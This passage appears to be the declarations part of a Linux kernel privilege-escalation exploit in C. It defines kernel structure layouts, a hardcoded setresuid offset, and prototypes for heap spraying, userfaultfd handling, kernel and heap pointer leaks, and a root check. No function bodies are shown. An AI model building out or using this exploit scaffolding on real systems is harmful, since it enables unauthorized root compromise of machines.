 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <keyutils.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sched.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// #define DEBUG 1
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"
#define ELEM_CNT(x) (sizeof(x) / sizeof(x[0]))
#define SYS_SETRESUID_OFFSET (0xd81d0)
#define PREFIX_BUF_LEN (16)
#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        write(sync_pipe[1], "F", 1);       \
        exit(1);                           \
    } while (0)

int sync_pipe[2];
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex;
uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int ss[0x1000][2];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};
void init_namespace(void);
void set_cpu_affinity(int cpu_n, pid_t pid);
void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout);


int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout);

int pagealloc_pad(int size, int count);

struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};



bool is_kernel_pointer(uint64_t addr);


bool is_heap_pointer(uint64_t addr);


void __pause(char *msg);


void save_state();
int randint(int min, int max);
void assign_to_core(int core_id);
void assign_thread_to_core(int core_id);
void init_fd(int i);
void *alloc_poll_list(void *args);
void create_poll_thread(int id, size_t size, int timer, bool suspend);
void join_poll_threads(void);
int alloc_key(int id, char *buff, size_t size);
void free_key(int i);
void free_all_keys(bool skip_corrupted_key);
char *get_key(int i, size_t size);
void alloc_pipe_buff(int i);
void release_pipe_buff(int i);
void alloc_tty(int i);
void free_tty(int i);
void alloc_seq_ops(int i);
void free_seq_ops(int i);
int leak_kernel_pointer(int kid);
int leak_heap_pointer(int kid);
bool check_root();
// typedef struct
// {
//     int64_t idx;
//     uint64_t size;
//     char *buf;    
// }user_req_t;

// struct tpacket_req {
//     unsigned int    tp_block_size;
//     unsigned int    tp_block_nr;
//     unsigned int    tp_frame_size;
//     unsigned int    tp_frame_nr;
// };

// enum tpacket_versions {
//     TPACKET_V1,
//     TPACKET_V2,
//     TPACKET_V3,
// };
// #define PACKET_VERSION 10
// #define PACKET_TX_RING 13
#define ISO_SLAB_LIMIT 8
#define INITIAL_PAGE_SPRAY 500
typedef struct
{
    bool in_use;
    int idx[ISO_SLAB_LIMIT];
}full_page;

enum spray_cmd {
    ALLOC_PAGE,
    FREE_PAGE,
    EXIT_SPRAY,
};

// typedef struct
// {
//     enum spray_cmd cmd;
//     int32_t idx;
//     int32_t size;
//     int32_t n;
// }ipc_req_t;

int shmid[0x1000];
void *shmaddr[0x1000];

void alloc_shm(int i);
int rootfd[2];
int sprayfd_child[2];
int sprayfd_parent[2];
// int socketfds[INITIAL_PAGE_SPRAY];
// int alloc_pages_via_sock(uint32_t size, uint32_t n);

// void spray_comm_handler();

// void send_spray_cmd(enum spray_cmd cmd, int idx,int n);
// void unshare_setup(uid_t uid, gid_t gid);
void errExit(char *msg);
void registerUserfault(void *fault_page,void *handler);

int spray_sendmsg(char *buf,int size,int count);
void hexdump(unsigned char *buff, size_t size);
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};
struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;
int msgqid[0x10000];
int add_msg(int msqid, const void *msgp, size_t msgsz);

int show_msg(int msqid, void *msgp,size_t msgsz,int idx);

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp);
int msg_get();
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next);
void build_msg(int num);
int alloc_skb_buff(int i,char *buff,size_t size);
int show_skb_buff(int i,char *buff,size_t size);